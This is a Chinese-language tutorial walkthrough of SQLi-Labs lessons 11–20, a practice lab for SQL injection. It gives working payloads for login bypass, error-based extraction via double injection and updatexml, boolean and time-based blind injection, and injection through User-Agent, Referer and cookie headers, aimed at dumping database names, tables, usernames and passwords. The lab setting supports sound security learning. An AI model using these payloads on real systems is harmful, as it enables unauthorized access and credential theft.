SQLi-Labs Lesson 11-20

Lesson 11: POST - Error based - Single quotes - String

// POST-基于错误-单引号-字符型

点击进入之后发现与之前的界面不同了:

我们尝试用admin:admin登录,没想到直接进去了,哈哈哈哈

但这不是我们的最终目标,因为这只是恰好猜对了密码,我们尝试在用户名的后面加个单引号',又出现了熟悉的报错:

根据报错信息可以看出,在进行数据库查询时,加的单引号破坏了开发者期待的查询(查询username和password用and连接放在同一个SQL语句中)
select username,password from users where username='用户名' and password='密码' limit 0,1

知道原理之后,那么就可以在此SQL语句中注释掉后面的密码,使得该SQL查询返回真,从而绕过密码成功登录。这里为了方便POST数据,我们使用Firefox的hackbar插件构造payload:
uname=admin' or 1=1-- &passwd=123&submit=Submit
uname=admin' or 1=1# &passwd=123&submit=Submit

这里注意:因为它不对我们POST的数据URL解码,所以我们不能使用%20 %23这些,直接用#-- 进行注释即可。

通过对它的SQL查询语句进行观察,limit 0,1 ,发现它是对第一个用户名密码进行匹配,我们可以更改payload来获得其他用户名密码:

Lesson 12: POST - Error based - Double quotes - String - with twist

// POST-基于错误-双引号-字符型变形

随意输入数据,发现登录失败,后面加个单引号还是一样:

接着试一下双引号,发现有报错:

看到这里,感觉是和lesson 11差不多的吧?把lesson 11的payload改一下,再进行尝试

怎么还不行?再认真看一下之前的报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'topo") LIMIT 0,1' at line 1,原来是有个括号~

然后加个括号再试一次:uname=topo") or 1=1 #&passwd=topo&submit=Submit,发现成功了!

Lesson 13: POST - Double injection - Single quotes - String - with twist

// POST-双注入-单引号-字符型变形

我们直接POST:uname=topo'&passwd=2333&submit=Submit

报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2333') LIMIT 0,1' at line 1,说明是有括号的。

再POST:uname=topo') or 1=1#&passwd=2333&submit=Submit

这次不回显账号信息了,这种双注入的做法,之前lesson 5讲过一次。这次试试网上的做法。详情

先来了解一下几个函数:

  • CONCAT() //用于将多个字符串连接为一个字符串
  • RAND() //返回从0到1之间的随机浮点值
  • FLOOR() //向下取整
  • COUNT() //返回匹配指定条件的行数。
  • GROUP BY CLAUSE //指定的规则对数据进行分组

tips:因为有随机函数的关系,所以以下payload有可能要执行多次。

1. 获取数据库名:

uname=topo') union select count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a#&passwd=2333&submit=Submit

解释一下这个payload:最里面是select database()是查询数据库名,然后把数据库名和0或1用concat()连接起来,那么会得到DBNAME0或者DBNAME1;然后给两个数据取一个别名a,再用GROUP BY DBNAME对数据进行分组;当进行最终查询时,就会报出select database()相关的错误:Duplicate entry 'security0' for key 'group_key',这里有点不是很理解,重复的键值?
同理,我们把这里换成别的查询语句,就能获得相应的信息了。

2. 获取表名

uname=topo') union select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 0,1), floor(rand()*2)) as a from information_schema.tables group by a#&passwd=2333&submit=Submit

更改limit N,1,可以查到不同表的名字。

3. 获取列名

uname=topo') union select count(*), concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1), floor(rand()*2)) as a from information_schema.tables group by a#&passwd=2333&submit=Submit

4. 获取数据

uname=topo') union select count(*), concat((select username from users limit 0,1), floor(rand()*2)) as a from information_schema.tables group by a#&passwd=2333&submit=Submit // 获取用户名
uname=topo') union select count(*), concat((select password from users limit 0,1), floor(rand()*2)) as a from information_schema.tables group by a#&passwd=2333&submit=Submit // 获取密码

Lesson 14: POST - Double injection - Single quotes - String - with twist

// POST-双注入-单引号-字符型变形

先使用单引号,发现没有显示,再使用双引号,又出现了报错

使用uname=topo" or 1=1#&passwd=2333&submit=Submit,成功登录

可以使用lesson 13相同的方法来获取数据库相关信息 ↑

Lesson 15:POST - Blind - Boolian/time based - Single quotes

// POST-盲注-基于布尔/时间-单引号

直接加单引号或双引号都登陆失败,没有回显错误信息:

试试密码绕过:

发现可以绕过成功登录了,但是没有获取到账号信息,我们用布尔盲注的方法来猜解数据库信息。

uname=topo' or 想要查询的数据库信息#&passwd=2333&submit=Submit

例如:
// 判断数据库名长度
uname=topo' or length(database())=8#&passwd=2333&submit=Submit

// 猜解数据库字符
uname=topo' or ascii(substring(database(),1,1))=115#&passwd=2333&submit=Submit

······

还可以使用时间盲注的方法来猜解数据库信息:

先说明一下if()函数:IF(expr1 , expr2 , expr3)
expr1 的值为 TRUE,则返回值为 expr2 ;expr1 的值为FALSE,则返回值为 expr3。

IF(查询数据库信息语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。与上面的步骤类似,这样我们同样便可以逐步猜解数据库信息。

Lesson 16:POST - Blind - Boolian/time based - Double quotes

// POST-盲注-基于布尔/时间-双引号

先试单引号不行,再试双引号发现也不行,后来想了想,好像加)的没试。试了下果然是。。那这个标题就应该按之前的套路来写,应该是 POST - Blind - Boolian/time based - Double quotes - with twist的,而不是现在这个的,这个必须得吐槽一下,误导了我。然后就可以用lesson 15类似的方法来做了。

uname=topo") or 1=1#&passwd=2333&submit=Submit

Lesson 17:POST - Update Query - Error based - String

// POST-更新查询-基于错误-字符型

进去之后各种尝试了一下,发现这个页面的功能是当你输入正确的用户名后,就会帮你更改密码;输入错误的用户名,则会报错:

假设我们知道了用户名为admin,那么很明显就可以直接改密码了,但是我们的目标不是这个,应该想办法找出哪里可以注入,经过不断尝试,发现password那里存在注入:


先了解一下什么是XML?详情
XML,EXtensible Markup Language,可扩展标记语言,是用来存储、传送和交换数据的。

这里用到Mysql的一个函数:UPDATEXML (XML_document, XPath_string, new_value);

  • XML_document:String格式,为XML文档对象的名称;
  • XPath_string:Xpath格式的字符串;
  • new_value:String格式,替换查找到的符合条件的数据;

作用:改变文档中符合条件的节点的值。

Syntax:
UpdateXML(xml_target, xpath_expr, new_xml)

This function replaces a single portion of a given fragment of XML
markup xml_target with a new XML fragment new_xml, and then returns the
changed XML. The portion of xml_target that is replaced matches an
XPath expression xpath_expr supplied by the user. In MySQL 5.6.6 and
earlier, the XPath expression could contain at most 127 characters.
This limitation is lifted in MySQL 5.6.7. (Bug #13007062, Bug #62429)

If no expression matching xpath_expr is found, or if multiple matches
are found, the function returns the original xml_target XML fragment.
All three arguments should be strings.

URL: http://dev.mysql.com/doc/refman/5.6/en/xml-functions.html

构造payload:
2333' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

2333' and updatexml(1,concat(0x7e,想要查询的信息,0x7e),1)#
通过更换斜体的语句来获取数据库信息,可参考 -> Lesson 1

Lesson 18:POST - Header injection - Uagent field - Error based

// POST-头部注入-User-agent字段-基于错误

刚开始,在两个表单里尝试各种payload,发现都没法注入了,怀疑它已经做了防护了。我们偷偷查看一下源码发现果然如此:

简单看下函数功能:
substr(str,pos,len)从pos开始的位置,截取len个字符;
magic_quotes_gpc()自动将进入 PHP 脚本的数据进行转义的;
ctype_digit()检查提供的 string 和 text 里面的字符是不是都是数字;
intval()获取变量的整数值.

所以不能利用username或者password进行注入。那我们应该应该去寻找别的注入点。

一般注入位置有:

  • URL参数提交,主要为GET请求参数;
  • 表单提交,主要是POST请求,也包括GET请求;
  • HTTP请求头部的一些可修改的值,比如Referer、User_Agent等;
  • Cookie参数提交;
  • ......

前面两个我们已经在之前课程有接触过,我们来看看其他的注入点。

假设我们通过弱口令进去了,admin:admin,进去之后发现它回显了我们的User-agent

那我们就可以大胆推测,HTTP头部存在注入,可以利用工具,如:Burp suite,firefox的插件等
构造User-Agent进行注入。

在User-Agent后加上' or updatexml(1,concat(0x7e,(select version()),0x7e),1)

发现报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', '127.0.0.1', 'admin')' at line 1

根据报错信息,把payload修改为:' or updatexml(1,concat(0x7e,(select version()),0x7e),1),1,1)#

发现可以查到数据库信息了,接着用之前相同的步骤就能获取到字段值了。

Lesson 19: POST - Header injection - Referer field - Error based

// POST-头部注入-Referer字段-基于错误

这个与Lesson 18类似,通过弱口令admin:admin进去,看到Referer字段。

同样的,用Burpsuite进行抓包:

在User-Agent后加上' and updatexml(1,concat(0x7e,(select version()),0x7e),1)1,1)

发现也可以查询到信息:

同样的还可以用另一种payload:
' or (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) , '1')#


也可以获得相同的效果。

Lesson 20: POST - Cookie injection - Uagent field - Error based

// POST-Cookies注入-User-agent字段-基于错误

用admin:admin进去之后

看到界面提示,应该是和Cookie有关,尝试在Cookie字段进行注入:
uname=-1' union select 1,database(),user()#

发现能获取到我们想要的信息,然后利用这个就可以猜解数据库信息了,类似与Lesson 1,只不过把我们构造的payload填在了不同的地方。

Lesson 21: POST - Dump into oufile - String

// POST-导出文件-字符型

直接点击lesson 21,不能跳转到相应的页面,我刚开始以为环境没搭好,后面发现是Lesson 21开始,到高级注入的部分了。

不过看标题应该是利用写入一句话木马文件来获得数据库信息,只不过换了提交方式。

那么,基础部分就到这里为止~

你可能感兴趣的:(渗透测试,sql注入)